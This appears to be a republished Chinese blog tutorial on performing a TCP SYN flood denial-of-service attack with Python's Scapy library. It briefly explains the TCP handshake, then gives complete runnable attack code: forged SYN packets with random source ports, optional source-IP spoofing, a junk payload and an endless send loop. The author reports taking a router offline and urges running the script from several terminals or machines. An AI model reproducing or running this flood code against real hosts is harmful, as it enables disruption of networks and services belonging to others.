如何在Python中进行SYN泛洪攻击?代码实现指南

2021年11月16日14:56:25 发表评论 1,450 次浏览

本文带你了解如何使用 Python 中的 Scapy 库执行 TCP SYN Flooding 攻击,这是一种拒绝服务攻击形式,以及一些Python SYN泛洪攻击示例

Python如何实现SYN泛洪攻击?SYN泛洪攻击是一种的一种常见形式的拒绝服务攻击,其中攻击者发送SYN请求到目标系统的一个序列(可以是路由器,防火墙,入侵防御系统(IPS),等),以消耗其资源,阻止合法客户端建立正常连接。

TCP SYN 泛洪利用 TCP 三向握手的第一部分,并且由于使用 TCP 协议的每个连接都需要它,因此这种攻击被证明是危险的,可以破坏多个网络组件。

为了理解SYN Flood,我们首先需要说一下TCP三向握手:

如何在Python中进行SYN泛洪攻击?代码实现指南如何在Python中进行SYN泛洪攻击?当客户端想要通过 TCP 协议与服务器建立连接时,客户端和服务器会交换一系列消息:

  • 客户端通过向服务器发送SYN消息来请求连接。
  • 服务器以SYN-ACK消息响应(确认请求)。
  • 客户端以ACK响应,然后开始连接。

SYN Flood 攻击涉及恶意用户重复发送 SYN 数据包而不响应 ACK,并且经常使用不同的源端口,这使得服务器不知道攻击,并从每个端口使用 SYN-ACK 数据包响应每次尝试(红色和上图的绿色部分)。这样,服务器将很快对合法客户端无响应。

相关教程: 如何使用 Scapy 在 Python 中构建 WiFi 扫描仪。

在本教程中,我们将使用Python 中的Scapy库实现 SYN 洪水攻击。首先,你需要安装 Scapy:

pip3 install scapy

打开一个新的 Python 文件并导入 Scapy:

from scapy.all import *

Python SYN泛洪攻击示例 - 我将在我的本地路由器上测试这个,它的私有 IP 地址为192.168.1.1:

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80

如果你想在路由器上尝试此操作,请确保你拥有正确的 IP 地址,你可以分别通过Windows 和 macOS/Linux 中的ipconfigip route命令获取默认网关地址。

目标端口是 HTTP,因为我想淹没路由器的 Web 界面。现在让我们伪造我们的 SYN 数据包,从 IP 层开始:

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

Python如何实现SYN泛洪攻击?我们指定了dst目标IP地址,我们也可以将src地址设置为私有网络范围内的一个欺骗性随机IP地址(注释代码),它也可以正常工作。

让我们锻造我们的 TCP 层:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

因此,我们将源端口 ( sport) 设置为随机短(范围从1到65535,就像端口一样)和dport(目标端口)作为我们的目标端口,在这种情况下,它是 HTTP 服务。

我们还设置了"S"指示 SYN 类型的标志。

现在让我们添加一些洪泛的原始数据来占用网络:

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)

太棒了,现在让我们堆叠层并发送数据包,Python SYN泛洪攻击示例:

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)

所以我们使用了send()在第 3 层发送数据包的函数,我们设置loop为1以继续发送,直到我们按下 CTRL+C,设置verbose为0将在此过程中不打印任何内容(静默)。

剧本写好了!现在,在我对路由器运行此命令后,花了几秒钟,果然,路由器停止工作,我失去了连接:

如何在Python中进行SYN泛洪攻击?代码实现指南

如何在Python中进行SYN泛洪攻击?这是 Windows 上以下命令的输出:

$ ping -t "192.168.1.1"

它是从攻击者以外的另一台机器捕获的,因此路由器不再响应。

为了让一切恢复正常,你可以停止攻击(通过按CTRL+C),如果设备仍然没有响应,请继续并重新启动它。

相关教程: 如何在 Python 中使用 Scapy 制作网络扫描仪。

Python如何实现SYN泛洪攻击?总结

好吧!我们完成了本教程,如果你尝试在本地计算机上运行脚本,你会注意到计算机变得忙碌并且延迟会显着增加。也可以在多个终端甚至其他机器上运行该脚本,看看能不能关闭本地计算机的网络!

木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: